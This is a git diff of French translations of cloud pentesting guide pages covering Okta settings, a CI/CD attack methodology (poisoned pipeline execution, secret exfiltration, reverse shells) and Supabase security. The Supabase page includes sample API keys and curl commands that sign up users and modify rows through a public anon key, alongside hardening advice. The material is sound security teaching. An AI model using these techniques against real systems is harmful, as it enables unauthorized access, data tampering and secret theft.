Automations allow you to create automated actions that run based on a set of trigger conditions that occur during the lifecycle of end users.
|
||||
Les automatisations vous permettent de créer des actions automatisées qui s'exécutent en fonction d'un ensemble de conditions de déclenchement qui se produisent pendant le cycle de vie des utilisateurs finaux.
|
||||
|
||||
For example a condition could be "User inactivity in Okta" or "User password expiration in Okta" and the action could be "Send email to the user" or "Change user lifecycle state in Okta".
|
||||
Par exemple, une condition pourrait être "Inactivité de l'utilisateur dans Okta" ou "Expiration du mot de passe de l'utilisateur dans Okta" et l'action pourrait être "Envoyer un email à l'utilisateur" ou "Changer l'état du cycle de vie de l'utilisateur dans Okta".
|
||||
|
||||
## Reports
|
||||
|
||||
### Reports
|
||||
|
||||
Download logs. They are **sent** to the **email address** of the current account.
|
||||
Téléchargez les journaux. Ils sont **envoyés** à l'**adresse email** du compte actuel.
|
||||
|
||||
### System Log
|
||||
|
||||
Here you can find the **logs of the actions performed by users** with a lot of details like login in Okta or in applications through Okta.
|
||||
Ici, vous pouvez trouver les **journaux des actions effectuées par les utilisateurs** avec beaucoup de détails comme la connexion dans Okta ou dans des applications via Okta.
|
||||
|
||||
### Import Monitoring
|
||||
|
||||
This can **import logs from the other platforms** accessed with Okta.
|
||||
Cela peut **importer des journaux des autres plateformes** accessibles avec Okta.
|
||||
|
||||
### Rate limits
|
||||
|
||||
Check the API rate limits reached.
|
||||
Vérifiez les limites de taux API atteintes.
|
||||
|
||||
## Settings
|
||||
|
||||
### Account
|
||||
|
||||
Here you can find **generic information** about the Okta environment, such as the company name, address, **email billing contact**, **email technical contact** and also who should receive Okta updates and which kind of Okta updates.
|
||||
Ici, vous pouvez trouver des **informations générales** sur l'environnement Okta, telles que le nom de l'entreprise, l'adresse, le **contact de facturation par email**, le **contact technique par email** et aussi qui devrait recevoir les mises à jour Okta et quel type de mises à jour Okta.
|
||||
|
||||
### Downloads
|
||||
|
||||
Here you can download Okta agents to sync Okta with other technologies.
|
||||
Ici, vous pouvez télécharger des agents Okta pour synchroniser Okta avec d'autres technologies.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# Pentesting CI/CD Methodology
|
||||
# Méthodologie de Pentesting CI/CD
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -6,7 +6,7 @@
|
||||
|
||||
## VCS
|
||||
|
||||
VCS stands for **Version Control System**, this systems allows developers to **manage their source code**. The most common one is **git** and you will usually find companies using it in one of the following **platforms**:
|
||||
VCS signifie **système de gestion de versions**, ce système permet aux développeurs de **gérer leur code source**. Le plus courant est **git** et vous trouverez généralement des entreprises l'utilisant sur l'une des **plateformes** suivantes :
|
||||
|
||||
- Github
|
||||
- Gitlab
|
||||
@@ -18,86 +18,93 @@ VCS stands for **Version Control System**, this systems allows developers to **m
|
||||
|
||||
## CI/CD Pipelines
|
||||
|
||||
CI/CD pipelines enable developers to **automate the execution of code** for various purposes, including building, testing, and deploying applications. These automated workflows are **triggered by specific actions**, such as code pushes, pull requests, or scheduled tasks. They are useful for streamlining the process from development to production.
|
||||
Les pipelines CI/CD permettent aux développeurs d'**automatiser l'exécution du code** pour divers usages, notamment la compilation, les tests et le déploiement des applications. Ces workflows automatisés sont **déclenchés par des actions spécifiques**, comme des pushes de code, des pull requests, ou des tâches planifiées. Ils servent à rationaliser le processus du développement à la production.
|
||||
|
||||
However, these systems need to be **executed somewhere** and usually with **privileged credentials to deploy code or access sensitive information**.
|
||||
Cependant, ces systèmes doivent être **exécutés quelque part** et généralement avec des **identifiants privilégiés pour déployer du code ou accéder à des informations sensibles**.
|
||||
|
||||
## VCS Pentesting Methodology
|
||||
## Méthodologie de Pentesting VCS
|
||||
|
||||
> [!NOTE]
|
||||
> Even if some VCS platforms allow to create pipelines for this section we are going to analyze only potential attacks to the control of the source code.
|
||||
> Même si certaines plateformes VCS permettent de créer des pipelines, pour cette section nous allons analyser uniquement les attaques potentielles visant le contrôle du code source.
|
||||
|
||||
Platforms that contains the source code of your project contains sensitive information and people need to be very careful with the permissions granted inside this platform. These are some common problems across VCS platforms that attacker could abuse:
|
||||
Les plateformes qui contiennent le code source de votre projet hébergent des informations sensibles et il faut être très prudent quant aux permissions accordées au sein de cette plateforme. Voici quelques problèmes courants sur les plateformes VCS que des attaquants pourraient exploiter :
|
||||
|
||||
- **Leaks**: If your code contains leaks in the commits and the attacker can access the repo (because it's public or because he has access), he could discover the leaks.
|
||||
- **Access**: If an attacker can **access to an account inside the VCS platform** he could gain **more visibility and permissions**.
|
||||
- **Register**: Some platforms will just allow external users to create an account.
|
||||
- **SSO**: Some platforms won't allow users to register, but will allow anyone to access with a valid SSO (so an attacker could use his github account to enter for example).
|
||||
- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... there are several kind of tokens a user could steal to access in some way a repo.
|
||||
- **Webhooks**: VCS platforms allow to generate webhooks. If they are **not protected** with non visible secrets an **attacker could abuse them**.
|
||||
- If no secret is in place, the attacker could abuse the webhook of the third party platform
|
||||
- If the secret is in the URL, the same happens and the attacker also have the secret
|
||||
- **Code compromise:** If a malicious actor has some kind of **write** access over the repos, he could try to **inject malicious code**. In order to be successful he might need to **bypass branch protections**. These actions can be performed with different goals in mid:
|
||||
- Compromise the main branch to **compromise production**.
|
||||
- Compromise the main (or other branches) to **compromise developers machines** (as they usually execute test, terraform or other things inside the repo in their machines).
|
||||
- **Compromise the pipeline** (check next section)
|
||||
- **Leaks** : Si votre code contient des leaks dans les commits et que l'attaquant peut accéder au dépôt (parce qu'il est public ou parce qu'il a accès), il pourrait découvrir les leaks.
|
||||
- **Access** : Si un attaquant peut **accéder à un compte au sein de la plateforme VCS** il pourrait obtenir **plus de visibilité et de permissions**.
|
||||
- **Inscription** : Certaines plateformes permettent simplement aux utilisateurs externes de créer un compte.
|
||||
- **SSO** : Certaines plateformes n'autorisent pas l'inscription, mais permettent à quiconque de se connecter avec un SSO valide (donc un attaquant pourrait utiliser par exemple son compte github pour entrer).
|
||||
- **Credentials** : Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... il existe plusieurs types de tokens qu'un utilisateur pourrait voler pour accéder d'une manière ou d'une autre à un dépôt.
|
||||
- **Webhooks** : Les plateformes VCS permettent de générer des webhooks. S'ils ne sont **pas protégés** par des secrets non visibles, un **attaquant pourrait en abuser**.
|
||||
- Si aucun secret n'est en place, l'attaquant pourrait abuser du webhook de la plateforme tierce.
|
||||
- Si le secret est dans l'URL, il en va de même et l'attaquant possède aussi le secret.
|
||||
- **Code compromise :** Si un acteur malveillant dispose d'une forme d'accès en **écriture** sur les dépôts, il pourrait tenter d'**injecter du code malveillant**. Pour réussir, il pourrait devoir **contourner les protections de branche**. Ces actions peuvent être réalisées avec différents objectifs en tête :
|
||||
- Compromettre la branche principale pour **compromettre la production**.
|
||||
- Compromettre la branche principale (ou d'autres branches) pour **compromettre les machines des développeurs** (car ils exécutent souvent des tests, terraform ou d'autres choses depuis le dépôt sur leurs machines).
|
||||
- **Compromettre le pipeline** (voir section suivante)
|
||||
|
||||
## Pipelines Pentesting Methodology
|
||||
|
||||
The most common way to define a pipeline, is by using a **CI configuration file hosted in the repository** the pipeline builds. This file describes the order of executed jobs, conditions that affect the flow, and build environment settings.\
|
||||
These files typically have a consistent name and format, for example — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), and the GitHub Actions YAML files located under .github/workflows. When triggered, the pipeline job **pulls the code** from the selected source (e.g. commit / branch), and **runs the commands specified in the CI configuration file** against that code.
|
||||
La façon la plus courante de définir un pipeline est d'utiliser un **fichier de configuration CI hébergé dans le dépôt** que le pipeline construit. Ce fichier décrit l'ordre des jobs exécutés, les conditions qui affectent le flux, et les paramètres de l'environnement de build.\
|
||||
Ces fichiers portent généralement un nom et un format constants, par exemple — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), et les fichiers YAML GitHub Actions situés sous .github/workflows. Lorsqu'il est déclenché, le job du pipeline **récupère le code** depuis la source sélectionnée (par ex. commit / branch), et **exécute les commandes spécifiées dans le fichier de configuration CI** contre ce code.
|
||||
|
||||
Therefore the ultimate goal of the attacker is to somehow **compromise those configuration files** or the **commands they execute**.
|
||||
Ainsi, l'objectif ultime de l'attaquant est en quelque sorte de **compromettre ces fichiers de configuration** ou les **commandes qu'ils exécutent**.
|
||||
|
||||
> [!TIP]
|
||||
> Certains builders hébergés laissent les contributeurs choisir le Docker build context et le chemin du Dockerfile. Si le context est contrôlé par l'attaquant, vous pouvez le définir en dehors du repo (par exemple "..") pour ingérer des fichiers de l'hôte pendant le build et exfiltrer des secrets. Voir :
|
||||
>
|
||||
>{{#ref}}
|
||||
>docker-build-context-abuse.md
|
||||
>{{#endref}}
|
||||
|
||||
### PPE - Poisoned Pipeline Execution
|
||||
|
||||
The Poisoned Pipeline Execution (PPE) path exploits permissions in an SCM repository to manipulate a CI pipeline and execute harmful commands. Users with the necessary permissions can modify CI configuration files or other files used by the pipeline job to include malicious commands. This "poisons" the CI pipeline, leading to the execution of these malicious commands.
|
||||
La Poisoned Pipeline Execution (PPE) exploite des permissions dans un repository SCM pour manipuler un pipeline CI et exécuter des commandes malveillantes. Les utilisateurs disposant des permissions nécessaires peuvent modifier les fichiers de configuration CI ou d'autres fichiers utilisés par le job du pipeline pour y inclure des commandes malicieuses. Cela « empoisonne » le pipeline CI, entraînant l'exécution de ces commandes malveillantes.
|
||||
|
||||
For a malicious actor to be successful performing a PPE attack he needs to be able to:
|
||||
Pour qu'un acteur malveillant réussisse une attaque PPE, il doit être capable de :
|
||||
|
||||
- Have **write access to the VCS platform**, as usually pipelines are triggered when a push or a pull request is performed. (Check the VCS pentesting methodology for a summary of ways to get access).
|
||||
- Note that sometimes an **external PR count as "write access"**.
|
||||
- Even if he has write permissions, he needs to be sure he can **modify the CI config file or other files the config is relying on**.
|
||||
- For this, he might need to be able to **bypass branch protections**.
|
||||
- Avoir **un accès en écriture à la plateforme VCS**, car généralement les pipelines sont déclenchés lors d'un push ou d'une pull request. (Voir la méthodologie VCS pour un résumé des moyens d'obtenir un accès).
|
||||
- Noter que parfois une **PR externe compte comme un "accès en écriture"**.
|
||||
- Même s'il dispose de permissions en écriture, il doit s'assurer qu'il peut **modifier le fichier de config CI ou d'autres fichiers sur lesquels le config s'appuie**.
|
||||
- Pour cela, il pourrait devoir être capable de **contourner les protections de branche**.
|
||||
|
||||
There are 3 PPE flavours:
|
||||
Il existe 3 variantes de PPE :
|
||||
|
||||
- **D-PPE**: A **Direct PPE** attack occurs when the actor **modifies the CI config** file that is going to be executed.
|
||||
- **I-DDE**: An **Indirect PPE** attack occurs when the actor **modifies** a **file** the CI config file that is going to be executed **relays on** (like a make file or a terraform config).
|
||||
- **Public PPE or 3PE**: In some cases the pipelines can be **triggered by users that doesn't have write access in the repo** (and that might not even be part of the org) because they can send a PR.
|
||||
- **3PE Command Injection**: Usually, CI/CD pipelines will **set environment variables** with **information about the PR**. If that value can be controlled by an attacker (like the title of the PR) and is **used** in a **dangerous place** (like executing **sh commands**), an attacker might **inject commands in there**.
|
||||
- **D-PPE** : Une attaque **Direct PPE** se produit lorsque l'acteur **modifie le fichier de config CI** qui va être exécuté.
|
||||
- **I-DDE** : Une attaque **Indirect PPE** se produit lorsque l'acteur **modifie** un **fichier** sur lequel le fichier de config CI qui va être exécuté **se repose** (comme un makefile ou une config terraform).
|
||||
- **Public PPE or 3PE** : Dans certains cas, les pipelines peuvent être **déclenchés par des utilisateurs qui n'ont pas d'accès en écriture au dépôt** (et qui peuvent même ne pas faire partie de l'organisation) parce qu'ils peuvent envoyer une PR.
|
||||
- **3PE Command Injection** : Habituellement, les pipelines CI/CD vont **définir des variables d'environnement** avec **des informations sur la PR**. Si cette valeur peut être contrôlée par un attaquant (comme le titre de la PR) et est **utilisée** dans un **endroit dangereux** (par exemple pour exécuter des commandes sh), un attaquant peut **injecter des commandes**.
|
||||
|
||||
### Exploitation Benefits
|
||||
|
||||
Knowing the 3 flavours to poison a pipeline, lets check what an attacker could obtain after a successful exploitation:
|
||||
Connaissant les 3 variantes pour empoisonner un pipeline, voyons ce qu'un attaquant peut obtenir après une exploitation réussie :
|
||||
|
||||
- **Secrets**: As it was mentioned previously, pipelines require **privileges** for their jobs (retrieve the code, build it, deploy it...) and this privileges are usually **granted in secrets**. These secrets are usually accessible via **env variables or files inside the system**. Therefore an attacker will always try to exfiltrate as much secrets as possible.
|
||||
- Depending on the pipeline platform the attacker **might need to specify the secrets in the config**. This means that is the attacker cannot modify the CI configuration pipeline (**I-PPE** for example), he could **only exfiltrate the secrets that pipeline has**.
|
||||
- **Computation**: The code is executed somewhere, depending on where is executed an attacker might be able to pivot further.
|
||||
- **On-Premises**: If the pipelines are executed on premises, an attacker might end in an **internal network with access to more resources**.
|
||||
- **Cloud**: The attacker could access **other machines in the cloud** but also could **exfiltrate** IAM roles/service accounts **tokens** from it to obtain **further access inside the cloud**.
|
||||
- **Platforms machine**: Sometimes the jobs will be execute inside the **pipelines platform machines**, which usually are inside a cloud with **no more access**.
|
||||
- **Select it:** Sometimes the **pipelines platform will have configured several machines** and if you can **modify the CI configuration file** you can **indicate where you want to run the malicious code**. In this situation, an attacker will probably run a reverse shell on each possible machine to try to exploit it further.
|
||||
- **Compromise production**: If you ware inside the pipeline and the final version is built and deployed from it, you could **compromise the code that is going to end running in production**.
|
||||
- **Secrets** : Comme mentionné précédemment, les pipelines nécessitent des **privilèges** pour leurs jobs (récupérer le code, le builder, le déployer...) et ces privilèges sont généralement **fourni via des secrets**. Ces secrets sont souvent accessibles via des **env variables ou des fichiers à l'intérieur du système**. Par conséquent, un attaquant cherchera toujours à exfiltrer autant de secrets que possible.
|
||||
- Selon la plateforme de pipeline, l'attaquant **pourrait devoir spécifier les secrets dans la config**. Cela signifie que si l'attaquant ne peut pas modifier la configuration du pipeline (**I-PPE** par exemple), il pourrait **ne pouvoir exfiltrer que les secrets que ce pipeline possède**.
|
||||
- **Computation** : Le code est exécuté quelque part ; selon l'endroit d'exécution, un attaquant peut être en mesure de pivoter plus loin.
|
||||
- **On-Premises** : Si les pipelines s'exécutent on-premises, un attaquant pourrait se retrouver dans un **réseau interne avec accès à plus de ressources**.
|
||||
- **Cloud** : L'attaquant pourrait accéder à **d'autres machines dans le cloud** mais aussi pourrait **exfiltrer** des tokens de rôles IAM / service accounts pour obtenir **un accès plus large dans le cloud**.
|
||||
- **Machines de la plateforme** : Parfois les jobs seront exécutés à l'intérieur des **machines de la plateforme de pipelines**, qui sont généralement dans un cloud sans accès supplémentaire.
|
||||
- **Sélectionner la cible :** Parfois la **plateforme de pipelines proposera plusieurs machines** et si vous pouvez **modifier le fichier de config CI** vous pouvez **indiquer où vous voulez exécuter le code malveillant**. Dans ce cas, un attaquant lancera probablement un reverse shell sur chaque machine possible pour tenter de l'exploiter davantage.
|
||||
- **Compromettre la production** : Si vous êtes à l'intérieur du pipeline et que la version finale est buildée et déployée à partir de celui-ci, vous pourriez **compromettre le code qui sera exécuté en production**.
|
||||
|
||||
## More relevant info
|
||||
|
||||
### Tools & CIS Benchmark
|
||||
|
||||
- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) is an open-source tool for auditing your software supply chain stack for security compliance based on a new [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). The auditing focuses on the entire SDLC process, where it can reveal risks from code time into deploy time.
|
||||
- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) est un outil open-source pour auditer votre stack de software supply chain en matière de conformité sécurité, basé sur un nouveau [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). L'audit se concentre sur l'ensemble du processus SDLC, où il peut révéler des risques depuis le temps du code jusqu'au déploiement.
|
||||
|
||||
### Top 10 CI/CD Security Risk
|
||||
|
||||
Check this interesting article about the top 10 CI/CD risks according to Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
|
||||
Consultez cet article intéressant sur les top 10 risques CI/CD selon Cider : [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
|
||||
|
||||
### Labs
|
||||
|
||||
- On each platform that you can run locally you will find how to launch it locally so you can configure it as you want to test it
|
||||
- Sur chaque plateforme que vous pouvez exécuter localement, vous trouverez comment la lancer en local afin de la configurer comme vous le souhaitez pour la tester
|
||||
- Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat)
|
||||
|
||||
### Automatic Tools
|
||||
|
||||
- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** is a static code analysis tool for infrastructure-as-code.
|
||||
- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** est un outil d'analyse statique pour infrastructure-as-code.
|
||||
|
||||
## References
|
||||
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -2,25 +2,25 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Informations de base
|
||||
|
||||
As per their [**landing page**](https://supabase.com/): Supabase is an open source Firebase alternative. Start your project with a Postgres database, Authentication, instant APIs, Edge Functions, Realtime subscriptions, Storage, and Vector embeddings.
|
||||
Comme indiqué sur leur [**landing page**](https://supabase.com/) : Supabase est une alternative open source à Firebase. Démarrez votre projet avec une base de données Postgres, Authentication, instant APIs, Edge Functions, Realtime subscriptions, Storage, and Vector embeddings.
|
||||
|
||||
### Subdomain
|
||||
### Sous-domaine
|
||||
|
||||
Basically when a project is created, the user will receive a supabase.co subdomain like: **`jnanozjdybtpqgcwhdiz.supabase.co`**
|
||||
Lorsque un projet est créé, l'utilisateur reçoit généralement un sous-domaine supabase.co tel que : **`jnanozjdybtpqgcwhdiz.supabase.co`**
|
||||
|
||||
## **Database configuration**
|
||||
## **Configuration de la base de données**
|
||||
|
||||
> [!TIP]
|
||||
> **This data can be accessed from a link like `https://supabase.com/dashboard/project/<project-id>/settings/database`**
|
||||
|
||||
This **database** will be deployed in some AWS region, and in order to connect to it it would be possible to do so connecting to: `postgres://postgres.jnanozjdybtpqgcwhdiz:[YOUR-PASSWORD]@aws-0-us-west-1.pooler.supabase.com:5432/postgres` (this was crated in us-west-1).\
|
||||
The password is a **password the user put** previously.
|
||||
Cette **database** sera déployée dans une région AWS, et pour s'y connecter il est possible de le faire en se connectant à : `postgres://postgres.jnanozjdybtpqgcwhdiz:[YOUR-PASSWORD]@aws-0-us-west-1.pooler.supabase.com:5432/postgres` (cela a été créé en us-west-1).\
|
||||
Le mot de passe est le **mot de passe choisi précédemment par l'utilisateur**.
|
||||
|
||||
Therefore, as the subdomain is a known one and it's used as username and the AWS regions are limited, it might be possible to try to **brute force the password**.
|
||||
Ainsi, comme le sous-domaine est connu et qu'il est utilisé comme nom d'utilisateur et que les régions AWS sont limitées, il pourrait être possible d'essayer de **brute force the password**.
|
||||
|
||||
This section also contains options to:
|
||||
Cette section contient aussi des options pour :
|
||||
|
||||
- Reset the database password
|
||||
- Configure connection pooling
|
||||
@@ -28,23 +28,22 @@ This section also contains options to:
|
||||
- Configure Disk size
|
||||
- Apply network restrictions and bans
|
||||
|
||||
## API Configuration
|
||||
## Configuration de l'API
|
||||
|
||||
> [!TIP]
|
||||
> **This data can be accessed from a link like `https://supabase.com/dashboard/project/<project-id>/settings/api`**
|
||||
|
||||
The URL to access the supabase API in your project is going to be like: `https://jnanozjdybtpqgcwhdiz.supabase.co`.
|
||||
L'URL pour accéder à l'API Supabase de votre projet ressemblera à : `https://jnanozjdybtpqgcwhdiz.supabase.co`.
|
||||
|
||||
### anon api keys
|
||||
|
||||
It'll also generate an **anon API key** (`role: "anon"`), like: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk` that the application will need to use in order to contact the API key exposed in our example in
|
||||
Elle générera aussi une **anon API key** (`role: "anon"`), comme : `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk` que l'application devra utiliser pour contacter l'API exposée dans notre exemple dans
|
||||
|
||||
It's possible to find the API REST to contact this API in the [**docs**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server), but the most interesting endpoints would be:
|
||||
Il est possible de trouver l'API REST pour contacter cette API dans les [**docs**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server), mais les endpoints les plus intéressants seraient :
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Signup (/auth/v1/signup)</summary>
|
||||
|
||||
```
|
||||
POST /auth/v1/signup HTTP/2
|
||||
Host: id.io.net
|
||||
@@ -69,13 +68,11 @@ Priority: u=1, i
|
||||
|
||||
{"email":"test@exmaple.com","password":"SomeCOmplexPwd239."}
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Login (/auth/v1/token?grant_type=password)</summary>
|
||||
|
||||
<summary>Connexion (/auth/v1/token?grant_type=password)</summary>
|
||||
```
|
||||
POST /auth/v1/token?grant_type=password HTTP/2
|
||||
Host: hypzbtgspjkludjcnjxl.supabase.co
|
||||
@@ -100,173 +97,165 @@ Priority: u=1, i
|
||||
|
||||
{"email":"test@exmaple.com","password":"SomeCOmplexPwd239."}
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
So, whenever you discover a client using supabase with the subdomain they were granted (it's possible that a subdomain of the company has a CNAME over their supabase subdomain), you might try to **create a new account in the platform using the supabase API**.
|
||||
Ainsi, chaque fois que vous découvrez un client utilisant supabase avec le sous-domaine qui lui a été attribué (il est possible qu'un sous-domaine de l'entreprise ait un CNAME pointant vers leur sous-domaine supabase), vous pouvez essayer de **créer un nouveau compte sur la plateforme en utilisant l'API supabase**.
|
||||
|
||||
### secret / service_role api keys
|
||||
### Clés API secret / service_role
|
||||
|
||||
A secret API key will also be generated with **`role: "service_role"`**. This API key should be secret because it will be able to bypass **Row Level Security**.
|
||||
Une clé API secrète sera également générée avec **`role: "service_role"`**. Cette clé API doit rester secrète car elle pourra contourner la **Row Level Security**.
|
||||
|
||||
The API key looks like this: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6InNlcnZpY2Vfcm9sZSIsImlhdCI6MTcxNDk5MjcxOSwiZXhwIjoyMDMwNTY4NzE5fQ.0a8fHGp3N_GiPq0y0dwfs06ywd-zhTwsm486Tha7354`
|
||||
La clé API ressemble à ceci : `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6InNlcnZpY2Vfcm9sZSIsImlhdCI6MTcxNDk5MjcxOSwiZXhwIjoyMDMwNTY4NzE5fQ.0a8fHGp3N_GiPq0y0dwfs06ywd-zhTwsm486Tha7354`
|
||||
|
||||
### JWT Secret
|
||||
|
||||
A **JWT Secret** will also be generate so the application can **create and sign custom JWT tokens**.
|
||||
Un **JWT Secret** sera également généré afin que l'application puisse **créer et signer des tokens JWT personnalisés**.
|
||||
|
||||
## Authentication
|
||||
## Authentification
|
||||
|
||||
### Signups
|
||||
### Inscription
|
||||
|
||||
> [!TIP]
|
||||
> By **default** supabase will allow **new users to create accounts** on your project by using the previously mentioned API endpoints.
|
||||
> Par **défaut** supabase permettra aux **nouveaux utilisateurs de créer des comptes** sur votre projet en utilisant les endpoints API mentionnés précédemment.
|
||||
|
||||
However, these new accounts, by default, **will need to validate their email address** to be able to login into the account. It's possible to enable **"Allow anonymous sign-ins"** to allow people to login without verifying their email address. This could grant access to **unexpected data** (they get the roles `public` and `authenticated`).\
|
||||
This is a very bad idea because supabase charges per active user so people could create users and login and supabase will charge for those:
|
||||
Cependant, ces nouveaux comptes, par défaut, **devront valider leur adresse e‑mail** pour pouvoir se connecter au compte. Il est possible d'activer **"Allow anonymous sign-ins"** pour permettre aux personnes de se connecter sans vérifier leur adresse e‑mail. Cela pourrait donner accès à des **données inattendues** (ils obtiennent les rôles `public` et `authenticated`).\
|
||||
C'est une très mauvaise idée car supabase facture par utilisateur actif, donc des personnes pourraient créer des utilisateurs, se connecter et supabase facturera pour ceux-ci :
|
||||
|
||||
<figure><img src="../images/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Auth: Server-side signup enforcement
|
||||
#### Auth : application côté serveur des restrictions d'inscription
|
||||
|
||||
Hiding the signup button in the frontend is not enough. If the **Auth server still allows signups**, an attacker can call the API directly with the public `anon` key and create arbitrary users.
|
||||
|
||||
Quick test (from an unauthenticated client):
|
||||
Masquer le bouton d'inscription dans le frontend ne suffit pas. Si le **serveur Auth autorise toujours les inscriptions**, un attaquant peut appeler l'API directement avec la clé publique `anon` et créer des utilisateurs arbitraires.
|
||||
|
||||
Test rapide (depuis un client non authentifié) :
|
||||
```bash
|
||||
curl -X POST \
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"email":"attacker@example.com","password":"Sup3rStr0ng!"}' \
|
||||
https://<PROJECT_REF>.supabase.co/auth/v1/signup
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"email":"attacker@example.com","password":"Sup3rStr0ng!"}' \
|
||||
https://<PROJECT_REF>.supabase.co/auth/v1/signup
|
||||
```
|
||||
Durcissement attendu :
|
||||
- Désactiver les inscriptions par email/mot de passe dans le Dashboard : Authentication → Providers → Email → Disable sign ups (invite-only), ou définir l'équivalent dans GoTrue.
|
||||
- Vérifier que l'API renvoie maintenant un code 4xx à l'appel précédent et qu'aucun nouvel utilisateur n'est créé.
|
||||
- Si vous dépendez des invitations ou du SSO, assurez-vous que tous les autres providers sont désactivés sauf si explicitement nécessaires.
|
||||
|
||||
Expected hardening:
|
||||
- Disable email/password signups in the Dashboard: Authentication → Providers → Email → Disable sign ups (invite-only), or set the equivalent GoTrue setting.
|
||||
- Verify the API now returns 4xx to the previous call and no new user is created.
|
||||
- If you rely on invites or SSO, ensure all other providers are disabled unless explicitly needed.
|
||||
## RLS and Views: contournement d'écriture via PostgREST
|
||||
|
||||
## RLS and Views: Write bypass via PostgREST
|
||||
Utiliser une Postgres VIEW pour « masquer » des colonnes sensibles et l'exposer via PostgREST peut modifier la façon dont les privilèges sont évalués. Dans PostgreSQL :
|
||||
- Les vues ordinaires s'exécutent par défaut avec les privilèges du propriétaire de la view (definer semantics). Dans PG ≥15, vous pouvez opter pour `security_invoker`.
|
||||
- Row Level Security (RLS) s'applique aux tables de base. Les propriétaires des tables contournent le RLS sauf si `FORCE ROW LEVEL SECURITY` est défini sur la table.
|
||||
- Les vues updatables peuvent accepter des INSERT/UPDATE/DELETE qui sont ensuite appliqués à la table de base. Sans `WITH CHECK OPTION`, des écritures qui ne correspondent pas au prédicat de la view peuvent tout de même réussir.
|
||||
|
||||
Using a Postgres VIEW to “hide” sensitive columns and exposing it via PostgREST can change how privileges are evaluated. In PostgreSQL:
|
||||
- Ordinary views execute with the privileges of the view owner by default (definer semantics). In PG ≥15 you can opt into `security_invoker`.
|
||||
- Row Level Security (RLS) applies on base tables. Table owners bypass RLS unless `FORCE ROW LEVEL SECURITY` is set on the table.
|
||||
- Updatable views can accept INSERT/UPDATE/DELETE that are then applied to the base table. Without `WITH CHECK OPTION`, writes that don’t match the view predicate may still succeed.
|
||||
|
||||
Risk pattern observed in the wild:
|
||||
- A reduced-column view is exposed through Supabase REST and granted to `anon`/`authenticated`.
|
||||
- PostgREST allows DML on the updatable view and the operation is evaluated with the view owner’s privileges, effectively bypassing the intended RLS policies on the base table.
|
||||
- Result: low-privileged clients can mass-edit rows (e.g., profile bios/avatars) they should not be able to modify.
|
||||
|
||||
Illustrative write via view (attempted from a public client):
|
||||
Schéma de risque observé sur le terrain :
|
||||
- Une view ne contenant que certaines colonnes est exposée via Supabase REST et son accès est accordé à `anon`/`authenticated`.
|
||||
- PostgREST autorise du DML sur la view updatable et l'opération est évaluée avec les privilèges du propriétaire de la view, contournant de fait les politiques RLS prévues sur la table de base.
|
||||
- Conséquence : des clients à faible privilège peuvent modifier en masse des lignes (p. ex. bios/avatars de profil) qu'ils ne devraient pas pouvoir modifier.
|
||||
|
||||
Écriture illustrative via la view (tentative depuis un client public) :
|
||||
```bash
|
||||
curl -X PATCH \
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
|
||||
